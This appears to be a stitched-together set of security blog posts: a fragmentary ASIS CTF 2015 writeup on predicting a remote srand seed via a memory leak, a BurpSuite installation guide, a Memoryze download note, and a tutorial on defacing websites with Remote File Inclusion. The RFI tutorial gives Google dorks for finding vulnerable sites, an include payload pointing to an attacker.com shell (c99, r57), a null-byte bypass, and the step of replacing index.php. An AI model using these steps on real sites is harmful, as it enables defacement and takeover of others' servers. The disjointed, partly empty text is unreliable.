domingo, 21 de janeiro de 2024

ASIS CTF Quals 2015 - Sawthis Writeup - Srand Remote Prediction


The remote service ask for a name, if you send more than 64 bytes, a memory leak happens.
The buffer next to the name's is the first random value used to init the srand()


If we get this value, and set our local srand([leaked] ^ [luckyNumber]) we will be able to predict the following randoms and win the game, but we have to see few details more ;)

The function used to read the input until the byte \n appears, but also up to 64 bytes, if we trigger this second condition there is not 0x00 and the print shows the random buffer :)

The nickname buffer:



The seed buffer:



So here it is clear, but let's see that the random values are computed with several gpu instructions which are decompiled incorrectly:







We tried to predict the random and aply the gpu divisions without luck :(



There was a missing detail in this predcitor, but there are always other creative ways to do the things.
We use the local software as a predictor, we inject the leaked seed on the local binary of the remote server and got a perfect syncronization, predicting the remote random values:




The process is a bit ugly becouse we combined automated process of leak exctraction and socket interactive mode, with the manual gdb macro.




The macro:



















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BurpSuite Introduction & Installation



What is BurpSuite?
Burp Suite is a Java based Web Penetration Testing framework. It has become an industry standard suite of tools used by information security professionals. Burp Suite helps you identify vulnerabilities and verify attack vectors that are affecting web applications. Because of its popularity and breadth as well as depth of features, we have created this useful page as a collection of Burp Suite knowledge and information.

In its simplest form, Burp Suite can be classified as an Interception Proxy. While browsing their target application, a penetration tester can configure their internet browser to route traffic through the Burp Suite proxy server. Burp Suite then acts as a (sort of) Man In The Middle by capturing and analyzing each request to and from the target web application so that they can be analyzed.











Everyone has their favorite security tools, but when it comes to mobile and web applications I've always found myself looking BurpSuite . It always seems to have everything I need and for folks just getting started with web application testing it can be a challenge putting all of the pieces together. I'm just going to go through the installation to paint a good picture of how to get it up quickly.

BurpSuite is freely available with everything you need to get started and when you're ready to cut the leash, the professional version has some handy tools that can make the whole process a little bit easier. I'll also go through how to install FoxyProxy which makes it much easier to change your proxy setup, but we'll get into that a little later.

Requirements and assumptions:

Mozilla Firefox 3.1 or Later Knowledge of Firefox Add-ons and installation The Java Runtime Environment installed

Download BurpSuite from http://portswigger.net/burp/download.htmland make a note of where you save it.

on for Firefox from   https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/


If this is your first time running the JAR file, it may take a minute or two to load, so be patient and wait.


Video for setup and installation.




You need to install compatible version of java , So that you can run BurpSuite.
More info

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sábado, 20 de janeiro de 2024

Memoryze


"MANDIANT Memoryze is free memory forensic software that helps incident responders find evil in live memory. Memoryze can acquire and/or analyze memory images, and on live systems can include the paging file in its analysis." read more...

Download: http://fred.mandiant.com/MemoryzeSetup.msi

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HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

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